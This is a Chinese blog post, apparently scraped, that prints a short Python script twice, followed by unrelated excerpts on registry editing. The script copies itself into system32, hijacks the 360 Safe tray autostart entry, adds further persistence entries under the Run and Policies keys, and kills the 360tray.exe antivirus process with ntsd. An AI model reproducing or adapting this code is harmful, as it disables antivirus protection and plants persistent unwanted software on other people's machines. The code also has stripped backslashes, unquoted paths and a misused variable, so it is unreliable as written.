用python修改登錄檔乾掉360safe

2021-06-21 07:57:05 字數 2011 閱讀 8691

import _winreg

import os

import shutil

#複製自身

shutil.copyfile(k3.exe,c:windowssystem32k3.exe)

#把360啟動改為自身

run = _winreg.openkey(

_winreg.hkey_local_machine,

"softwaremicrosoftwindowscurrentversionrun",0,_winreg.key_write

)_winreg.setvalueex(

run,"360safetray",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#新增自啟動

self = _winreg.openkey(

_winreg.hkey_local_machine,

"softwaremicrosoftwindowscurrentversionrun",0,_winreg.key_write

)_winreg.setvalueex(

run,"k3",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#新增所有使用者啟動

allrun = _winreg.openkey(

_winreg.hkey_local_machine,

"microsoftwindowscurrentversionpolicie***plorerrun",0,_winreg.key_write

)_winreg.setvalueex(

allrun,"k3",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#終止360程序

os.popen("ntsd -c q -pn 360tray.exe cmd")

本文章來至原始碼世界   

import _winreg

import os

import shutil

#複製自身

shutil.copyfile(k3.exe,c:windowssystem32k3.exe)

#把360啟動改為自身

run = _winreg.openkey(

_winreg.hkey_local_machine,

"softwaremicrosoftwindowscurrentversionrun",0,_winreg.key_write

)_winreg.setvalueex(

run,"360safetray",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#新增自啟動

self = _winreg.openkey(

_winreg.hkey_local_machine,

"softwaremicrosoftwindowscurrentversionrun",0,_winreg.key_write

)_winreg.setvalueex(

run,"k3",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#新增所有使用者啟動

allrun = _winreg.openkey(

_winreg.hkey_local_machine,

"microsoftwindowscurrentversionpolicie***plorerrun",0,_winreg.key_write

)_winreg.setvalueex(

allrun,"k3",0,_winreg.reg_sz,

r"c:windowssystem32k3.exe"

)#終止360程序

os.popen("ntsd -c q -pn 360tray.exe cmd")

用登錄檔修改右鍵選單

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!一 開始,執行裡面輸入 regsvr32 u igfxpph.dll 確定 ok了 注意 u兩邊各有乙個空格的,或者直接複製進去執行吧 二 清除滑鼠右鍵選單中多餘項的操作步驟如下 1 在系統桌面上單擊 開始 執行 項。2 在隨後出現的視窗中的 開啟...

登錄檔修改

大中小 開關機加速系列 開始 加快關機速度 hkey current user control panel desktop 關機時自動關閉停止響應的程式 hkey current user control panel desktop autoendtasks 1 關機結束程式等待時間 hkey cu...

修改登錄檔

在 用visual c 讀取註冊資訊 的文中,已經介紹了用 visual c 來讀取登錄檔中的註冊資訊。本文就來介紹用visual c 對登錄檔的另外乙個操作,這也是乙個具有破壞性的操作過程 刪除註冊資訊。在上文中已經知道,由於visual c 本身沒有帶類庫,他對登錄檔的處理過程是通過呼叫.net...